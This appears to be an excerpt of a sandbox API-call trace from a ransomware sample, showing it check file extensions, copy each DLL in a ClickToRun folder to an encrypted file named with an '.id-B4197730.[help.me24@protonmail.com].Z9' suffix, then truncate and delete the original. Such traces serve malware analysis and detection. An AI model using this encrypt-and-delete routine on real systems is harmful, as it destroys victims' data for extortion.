	[0084.713] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1
	[0084.713] lstrlenW (lpString=".bz2") returned 4
	[0084.713] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1
	[0084.713] lstrlenW (lpString=".7z") returned 3
	[0084.713] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1
	[0084.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.713] lstrlenW (lpString=".dbf") returned 4
	[0084.713] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1
	[0084.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.713] lstrlenW (lpString=".1cd") returned 4
	[0084.713] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1
	[0084.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.713] lstrlenW (lpString=".jpg") returned 4
	[0084.713] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1
	[0084.713] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.713] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30
	[0084.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.713] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=19648) returned 1
	[0084.714] CloseHandle (hObject=0x398) returned 1
	[0084.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20
	[0084.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.714] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.714] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0084.714] GetLastError () returned 0x0
	[0084.714] ReadFile (in: hFile=0x398, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x4cc0, lpOverlapped=0x0) returned 1
	[0084.716] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0084.717] ReadFile (in: hFile=0x398, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.717] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x110, lpOverlapped=0x0) returned 1
	[0084.717] SetEndOfFile (hFile=0x338) returned 1
	[0084.718] CloseHandle (hObject=0x338) returned 1
	[0084.722] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.722] SetEndOfFile (hFile=0x398) returned 1
	[0084.723] CloseHandle (hObject=0x398) returned 1
	[0084.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.724] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1
	[0084.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.724] lstrlenW (lpString=".doc") returned 4
	[0084.724] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.724] lstrlenW (lpString=".docx") returned 5
	[0084.724] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.724] lstrlenW (lpString=".pdf") returned 4
	[0084.724] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.724] lstrlenW (lpString=".xls") returned 4
	[0084.724] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.724] lstrlenW (lpString=".xlsx") returned 5
	[0084.724] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.724] lstrlenW (lpString=".ppt") returned 4
	[0084.724] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.724] lstrlenW (lpString=".zip") returned 4
	[0084.724] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.724] lstrlenW (lpString=".rar") returned 4
	[0084.724] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.724] lstrlenW (lpString=".bz2") returned 4
	[0084.725] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.725] lstrlenW (lpString=".7z") returned 3
	[0084.725] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.725] lstrlenW (lpString=".dbf") returned 4
	[0084.725] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.725] lstrlenW (lpString=".1cd") returned 4
	[0084.725] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.725] lstrlenW (lpString=".jpg") returned 4
	[0084.725] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.725] lstrlenW (lpString=".doc") returned 4
	[0084.725] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.725] lstrlenW (lpString=".docx") returned 5
	[0084.725] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.725] lstrlenW (lpString=".pdf") returned 4
	[0084.725] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.725] lstrlenW (lpString=".xls") returned 4
	[0084.725] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.725] lstrlenW (lpString=".xlsx") returned 5
	[0084.725] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.725] lstrlenW (lpString=".ppt") returned 4
	[0084.725] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.725] lstrlenW (lpString=".zip") returned 4
	[0084.725] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.725] lstrlenW (lpString=".rar") returned 4
	[0084.725] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.726] lstrlenW (lpString=".bz2") returned 4
	[0084.726] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.726] lstrlenW (lpString=".7z") returned 3
	[0084.726] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.726] lstrlenW (lpString=".dbf") returned 4
	[0084.726] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.726] lstrlenW (lpString=".1cd") returned 4
	[0084.726] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.726] lstrlenW (lpString=".jpg") returned 4
	[0084.726] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.726] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.726] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32
	[0084.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.726] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=19136) returned 1
	[0084.726] CloseHandle (hObject=0x398) returned 1
	[0084.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20
	[0084.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.727] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.727] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0084.727] GetLastError () returned 0x0
	[0084.727] ReadFile (in: hFile=0x398, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0084.730] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0084.731] ReadFile (in: hFile=0x398, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.731] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x114, lpOverlapped=0x0) returned 1
	[0084.731] SetEndOfFile (hFile=0x338) returned 1
	[0084.731] CloseHandle (hObject=0x338) returned 1
	[0084.732] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.732] SetEndOfFile (hFile=0x398) returned 1
	[0084.733] CloseHandle (hObject=0x398) returned 1
	[0084.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.733] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1
	[0084.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.734] lstrlenW (lpString=".doc") returned 4
	[0084.734] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.734] lstrlenW (lpString=".docx") returned 5
	[0084.734] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.734] lstrlenW (lpString=".pdf") returned 4
	[0084.734] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.734] lstrlenW (lpString=".xls") returned 4
	[0084.734] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.734] lstrlenW (lpString=".xlsx") returned 5
	[0084.734] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.734] lstrlenW (lpString=".ppt") returned 4
	[0084.734] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.734] lstrlenW (lpString=".zip") returned 4
	[0084.734] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.734] lstrlenW (lpString=".rar") returned 4
	[0084.734] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.734] lstrlenW (lpString=".bz2") returned 4
	[0084.734] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.734] lstrlenW (lpString=".7z") returned 3
	[0084.734] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.734] lstrlenW (lpString=".dbf") returned 4
	[0084.734] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.734] lstrlenW (lpString=".1cd") returned 4
	[0084.734] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.734] lstrlenW (lpString=".jpg") returned 4
	[0084.734] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.735] lstrlenW (lpString=".doc") returned 4
	[0084.735] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.735] lstrlenW (lpString=".docx") returned 5
	[0084.735] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.735] lstrlenW (lpString=".pdf") returned 4
	[0084.735] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.735] lstrlenW (lpString=".xls") returned 4
	[0084.735] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.735] lstrlenW (lpString=".xlsx") returned 5
	[0084.735] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.735] lstrlenW (lpString=".ppt") returned 4
	[0084.735] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.735] lstrlenW (lpString=".zip") returned 4
	[0084.735] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.735] lstrlenW (lpString=".rar") returned 4
	[0084.735] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.735] lstrlenW (lpString=".bz2") returned 4
	[0084.735] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.735] lstrlenW (lpString=".7z") returned 3
	[0084.735] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.735] lstrlenW (lpString=".dbf") returned 4
	[0084.735] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.735] lstrlenW (lpString=".1cd") returned 4
	[0084.735] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0084.735] lstrlenW (lpString=".jpg") returned 4
	[0084.735] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.736] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.736] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30
	[0084.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.736] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=27840) returned 1
	[0084.736] CloseHandle (hObject=0x398) returned 1
	[0084.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20
	[0084.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.737] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.737] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0084.737] GetLastError () returned 0x0
	[0084.737] ReadFile (in: hFile=0x398, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x6cc0, lpOverlapped=0x0) returned 1
	[0084.739] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x6cd0, lpOverlapped=0x0) returned 1
	[0084.992] ReadFile (in: hFile=0x398, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.992] WriteFile (in: hFile=0x338, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x110, lpOverlapped=0x0) returned 1
	[0084.992] SetEndOfFile (hFile=0x338) returned 1
	[0084.992] CloseHandle (hObject=0x338) returned 1
	[0084.994] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.994] SetEndOfFile (hFile=0x398) returned 1
	[0084.995] CloseHandle (hObject=0x398) returned 1
	[0084.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.996] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1
	[0084.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0084.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0084.997] lstrlenW (lpString=".doc") returned 4
	[0084.997] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.997] lstrlenW (lpString=".docx") returned 5
	[0084.997] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.997] lstrlenW (lpString=".pdf") returned 4
	[0084.997] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.997] lstrlenW (lpString=".xls") returned 4
	[0084.997] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.997] lstrlenW (lpString=".xlsx") returned 5
	[0084.997] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.997] lstrlenW (lpString=".ppt") returned 4
	[0084.997] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0084.997] lstrlenW (lpString=".zip") returned 4
	[0084.997] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.997] lstrlenW (lpString=".rar") returned 4
	[0084.997] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.997] lstrlenW (lpString=".bz2") returned 4
	[0084.997] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.998] lstrlenW (lpString=".7z") returned 3
	[0084.998] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0084.998] lstrlenW (lpString=".dbf") returned 4
	[0084.998] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0084.998] lstrlenW (lpString=".1cd") returned 4
	[0084.998] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0084.998] lstrlenW (lpString=".jpg") returned 4
	[0084.998] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0084.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0084.998] lstrlenW (lpString=".doc") returned 4
	[0084.998] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
